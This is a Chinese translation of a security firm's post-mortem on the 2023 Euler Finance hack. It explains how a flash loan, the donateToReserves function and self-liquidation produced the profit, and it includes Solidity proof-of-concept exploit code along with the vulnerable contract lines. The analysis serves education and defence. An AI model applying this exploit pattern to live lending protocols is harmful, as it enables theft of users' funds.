2023年3月14日,Euler Finance遭遇一起攻击,损失超过1.9亿美元。攻击者利用闪电贷进行了一系列操作,最终通过自我清算获取了比其债务更高的利润。文章详细分析了攻击策略及实现过程,提供了代码示例和整体收益的说明。
在2023年3月14日,Euler Finance遭遇了一次攻击,导致超过1.9亿美元的损失。在这次攻击中,一笔交易生成了1.1亿美元。在这篇博客中,我们将分析攻击者的策略并展示如何执行这一漏洞。
攻击可以总结为四个主要步骤:
核心问题在于攻击者的自我清算导致的利润超过了他们的债务。现在,让我们在代码中检查整个过程。
首先,攻击者从Balancer获取了wstETH的闪电借贷。
function setUp() public {
IERC20[] memory tokens = new IERC20[](1);
uint256[] memory amounts = new uint256[](1);
tokens[0] = wstETH;
amounts[0] = wstETH.balanceOf(address(vault));
vault.flashLoan(this, tokens, amounts, ""); // 从Balancer获取闪电借贷
}
攻击者将闪电借贷存入Euler并铸造相应的代币。这些代币随后通过donateToReserves函数被捐赠,允许攻击者自我清算。
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external override {
require(msg.sender == address(vault), "信息来源错误");
uint256 amount = amounts[0];
emit log_named_uint("receiveFlashLoan", amount);
wstETH.approve(address(euler), amount);
eToken.deposit(0, amount);
eToken.mint(0, amount * 15);
eToken.donateToReserves(0, amount * 3);
liquidator.liquidate();
emit log_named_uint("还款闪电借贷", amount);
wstETH.transfer(msg.sender, amount);
}
清算过程允许攻击者对其债务头寸清算,其对应的抵押品价值超过债务。
function liquidate() public {
Liquidation.LiquidationOpportunity memory liqOpp = liquidation.checkLiquidation(address(this), msg.sender, address(wstETH), address(wstETH));
liquidation.liquidate(msg.sender, address(wstETH), address(wstETH), liqOpp.repay, liqOpp.repay);
eToken.withdraw(0, wstETH.balanceOf(address(euler)));
wstETH.transfer(msg.sender, wstETH.balanceOf(address(this)));
}
此次漏洞的利润达到了66,000 ETH或1.1亿美元。为了社区的教育,完整的概念验证可以在这个GitHub\ 仓库↗中找到。
我们试图回答的基本问题是:如果攻击者承担了借贷头寸——部分捐赠了该头寸的保障,然后自我清算——他们怎么能获得比最初更多的钱? ↗
为了回答这一问题,我们必须理解Euler的机制:
Euler发行ETokens(收益代币)以计入存入协议的钱,并发行DTokens(债务代币)以计入从协议借入的钱。
在清算事件中,这一点非常重要。缺少抵押品以维持其借贷头寸的用户——称为违反者——将其抵押品和债务被清算者没收。
// 清算者承担违反者的债务:
transferBorrow(underlyingAssetStorage, underlyingAssetCache, underlyingAssetStorage.dTokenAddress, liqLocs.violator, liqLocs.liquidator, repay);
为了使清算者有兴趣夺取其他人的债务,必须存在某种激励。债务越大,这种激励必须越大。
uint baseDiscount = UNDERLYING_RESERVES_FEE + (1e18 - liqOpp.healthScore);
uint discountBooster = computeDiscountBooster(liqLocs.liquidator, liabilityValue);
uint discount = baseDiscount * discountBooster / 1e18;
if (discount > (baseDiscount + MAXIMUM_BOOSTER_DISCOUNT)) discount = baseDiscount + MAXIMUM_BOOSTER_DISCOUNT;
if (discount > MAXIMUM_DISCOUNT) discount = MAXIMUM_DISCOUNT;
liqOpp.baseDiscount = baseDiscount;
liqOpp.discount = discount;
liqOpp.conversionRate = liqLocs.underlyingPrice * 1e18 / liqLocs.collateralPrice * 1e18 / (1e18 - discount);
注意,高比例的D代币与E代币意味着清算者将承担更多的债务。通常,传输ETokens需要进行流动性检查。然而,在donateToReserves函数中缺少这一检查。
if (!isSubAccountOf(msgSender, from) && assetStorage.eTokenAllowance[from][msgSender] != type(uint).max) {
require(assetStorage.eTokenAllowance[from][msgSender] >= amount, "e/授权不足");
unchecked { assetStorage.eTokenAllowance[from][msgSender] -= amount; }
emitViaProxy_Approval(proxyAddr, from, msgSender, assetStorage.eTokenAllowance[from][msgSender]);
}
transferBalance(assetStorage, assetCache, proxyAddr, from, to, amount);
攻击者正是利用了这一缺失,并捐赠了他们的E代币以创造上述激励。实际上,用于确定清算者利润的确切公式可以在下图中看到。
yield = repay * liqLocs.liqOpp.conversionRate / 1e18;
通过捐赠他们的E代币,头寸变得不健康,并且,清算折扣更高。随着转换率的增加,清算者的收益变得更加丰厚。
最终结果:1亿美元的漏洞。经济激励漏洞很复杂。它们无法通过静态分析器或自动化工具捕获,并且需要对协议的定制系统有深入理解。
总之,攻击者利用闪电借贷存入一笔巨额资金,然后自我清算,最终获得比最初更多的钱。
在Zellic,我们对黑客攻击进行事后分析,因为我们希望保持对每个当前攻击的跟踪,并建立专业的威胁知识。我们分享这些信息,因为社区值得了解发生了什么错误,以及未来可以做出哪些不同的改进。
- 原文链接: zellic.io/blog/euler-fin...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!